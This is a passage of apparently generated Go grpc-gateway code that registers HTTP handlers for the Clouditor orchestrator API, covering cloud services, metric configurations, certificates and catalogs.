{\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_ListMetrics_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_ListMetrics_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Orchestrator_RegisterCloudService_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/RegisterCloudService\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/cloud_services\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_RegisterCloudService_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_RegisterCloudService_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_Orchestrator_UpdateCloudService_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/UpdateCloudService\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/cloud_services/{cloud_service.id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_UpdateCloudService_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_UpdateCloudService_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_GetCloudService_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/GetCloudService\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/cloud_services/{cloud_service_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_GetCloudService_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_GetCloudService_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_ListCloudServices_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/ListCloudServices\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/cloud_services\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_ListCloudServices_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_ListCloudServices_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_Orchestrator_RemoveCloudService_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/RemoveCloudService\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/cloud_services/{cloud_service_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_RemoveCloudService_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_RemoveCloudService_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_GetCloudServiceStatistics_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/GetCloudServiceStatistics\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/cloud_services/statistics\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_GetCloudServiceStatistics_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_GetCloudServiceStatistics_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_Orchestrator_UpdateMetricConfiguration_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/UpdateMetricConfiguration\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/cloud_services/{cloud_service_id}/metric_configurations/{metric_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_UpdateMetricConfiguration_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_UpdateMetricConfiguration_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_GetMetricConfiguration_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/GetMetricConfiguration\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/cloud_services/{cloud_service_id}/metric_configurations/{metric_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_GetMetricConfiguration_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_GetMetricConfiguration_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_ListMetricConfigurations_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/ListMetricConfigurations\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/cloud_services/{cloud_service_id}/metric_configurations\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_ListMetricConfigurations_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_ListMetricConfigurations_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_Orchestrator_UpdateMetricImplementation_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/UpdateMetricImplementation\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/metrics/{implementation.metric_id}/implementation\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_UpdateMetricImplementation_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_UpdateMetricImplementation_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_GetMetricImplementation_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/GetMetricImplementation\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/metrics/{metric_id}/implementation\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_GetMetricImplementation_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_GetMetricImplementation_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Orchestrator_CreateCertificate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/CreateCertificate\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/certificates\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_CreateCertificate_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_CreateCertificate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_GetCertificate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/GetCertificate\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/certificates/{certificate_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_GetCertificate_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_GetCertificate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_ListCertificates_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/ListCertificates\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/certificates\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_ListCertificates_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_ListCertificates_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_ListPublicCertificates_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/ListPublicCertificates\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/public/certificates\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_ListPublicCertificates_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_ListPublicCertificates_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_Orchestrator_UpdateCertificate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/UpdateCertificate\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/certificates/{certificate.id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_UpdateCertificate_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_UpdateCertificate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_Orchestrator_RemoveCertificate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/RemoveCertificate\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/certificates/{certificate_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_RemoveCertificate_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_RemoveCertificate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Orchestrator_CreateCatalog_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/CreateCatalog\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/catalogs\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_CreateCatalog_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_CreateCatalog_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_ListCatalogs_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/ListCatalogs\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/catalogs\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_ListCatalogs_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_ListCatalogs_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_GetCatalog_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/GetCatalog\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/catalogs/{catalog_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_GetCatalog_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_GetCatalog_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_Orchestrator_RemoveCatalog_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/RemoveCatalog\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/catalogs/{catalog_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_RemoveCatalog_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), 